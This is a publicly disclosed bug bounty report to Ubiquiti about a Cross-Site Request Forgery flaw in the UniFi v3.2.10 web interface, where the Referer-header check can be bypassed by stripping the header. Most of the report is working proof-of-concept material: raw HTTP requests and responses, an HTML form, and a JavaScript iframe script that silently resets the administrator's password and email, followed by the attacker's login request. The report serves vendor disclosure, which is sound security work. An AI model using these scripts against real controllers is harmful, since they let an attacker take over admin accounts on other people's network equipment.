HexBrain

Ubiquiti Inc. · Report #52635

UniFi v3.2.10 Cross-Site Request Forgeries / Referer-Check Bypass

Validstatus
8upvotes
7 Jan 2016disclosed

How it was found

VULNERABILITY DESCRIPTION

The application UniFi v3.2.10 uses JSON requests to add/edit/save/delete configuration options on the administrative web-interface, but the application has an insufficient Cross-Site Request Forgery protection in place by only checking whether the Referer Header is present and if its actual value matches the host where the system is running (default: 127.0.0.1).

VERSIONS AFFECTED

UniFi v3.2.10 older versions may be affected too.

PROOF-OF-CONCEPT (Steps to reproduce):

The following Proof-of-Concept will bypass the CSRF protection and change the password of the administrator. Basically all functionalities are vulnerable on the same way.

Therefore a typical request to change the password of the user "admin" to "test" looks like the following when issued using the web interface:

POST https://127.0.0.1:8443/api/s/default/cmd/sitemgr HTTP/1.1
Connection: keep-alive
Content-Length: 163
Accept: */*
Origin: https://127.0.0.1:8443
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) > Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://127.0.0.1:8443/manage/s/default
Accept-Language: de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: unifises=742beba0de5c180ed18233629918a217
Host: 127.0.0.1:8443

json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22test%22%2C%22email%22%3A%22admin%40admin.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D

The following script (ubi_common_csrf.php) tries to exploit this vulnerability by changing the email address of the user "admin" to "[email protected]" and the associated password to "csrfpwd":

<html>
<form action="https://127.0.0.1:8443/api/s/default/cmd/sitemgr" method="post" enctype="text/plain">
<input name="json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%2$
<input type=submit>
</form>
</html>

This would lead to the following HTTP POST request with the HTTP Referer header set to e.g. http://www.rcesecurity.com, where the CSRF script is placed:

POST https://127.0.0.1:8443/api/s/default/cmd/sitemgr HTTP/1.1
Connection: keep-alive
Content-Length: 173
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.rcesecurity.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)    Chrome/39.0.2171.95 Safari/537.36
Content-Type: text/plain
Referer: http://www.rcesecurity.com/pocs/common_csrf.php
Accept-Language: de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: unifises=742beba0de5c180ed18233629918a217
Host: 127.0.0.1:8443

json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D==

In this case the application correctly responds with an HTTP 401 error code denying the password change:

HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 78
Date: Thu, 19 Mar 2015 17:24:53 GMT

{ "data" : [ ] , "meta" : { "msg" : "api.err.LoginRequired" , "rc" : "error"}}

But if the HTTP Referer-Header is stripped out from the HTTP Request:

POST https://127.0.0.1:8443/api/s/default/cmd/sitemgr HTTP/1.1
Connection: keep-alive
Content-Length: 173
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.rcesecurity.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: text/plain
Accept-Language: de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: unifises=742beba0de5c180ed18233629918a217
Host: 127.0.0.1:8443

json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D==

The application answers with an HTTP 200 code and the password was successfully changed:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 41
Date: Thu, 19 Mar 2015 17:28:21 GMT

{ "data" : [ ] , "meta" : { "rc" : "ok"}}

So all an attacker has to to is to strip out the HTTP Referer Header in a CSRF attack scenario like using the following script (ubi_passwd_change.php):

<html>
<head>
<script>
function load() {
    var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +
                    '<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('csrf').submit();
}
</script>
</head>
<body onload="load()">
<iframe src="about:blank" id="noreferer">< /iframe>

The HTTP POST request issued by the script looks like the following (notice that the Referer Header is missing):

POST https://127.0.0.1:8443/api/s/default/cmd/sitemgr HTTP/1.1
Connection: keep-alive
Content-Length: 172
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.rcesecurity.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)    Chrome/39.0.2171.95 Safari/537.36
Content-Type: text/plain
Accept-Language: de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: unifises=742beba0de5c180ed18233629918a217
Host: 127.0.0.1:8443

json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=

And the application responds with an HTTP 200 code again:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 41
Date: Thu, 19 Mar 2015 17:31:25 GMT

{ "data" : [ ] , "meta" : { "rc" : "ok"}}

The attacker is now able to login to the UniFi interface using the following request:

POST https://127.0.0.1:8443/login HTTP/1.1
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://127.0.0.1:8443/login
Accept-Language: de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4
Host: 127.0.0.1:8443

username=admin&password=csrfpwd&login=Login

Whereas the application responds with an HTTP 302 code:

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: unifises=69f8ad84135bd1a2715e1530d4e07698; Path=/; Secure; HttpOnly
Location: https://127.0.0.1:8443/manage/s/default
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Thu, 19 Mar 2015 17:39:29 GMT

Attached you'll find the following files to help investigate the issue: poc-0.png - Screenshot of changed user "admin"

The used CSRF scripts are live on my domain www.rcesecurity.com during your investigations: http://www.rcesecurity.com/pocs/ubi_common_csrf.php http://www.rcesecurity.com/pocs/ubi_passwd_change.php

If you need any further assistance or PoCs please just let me know.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original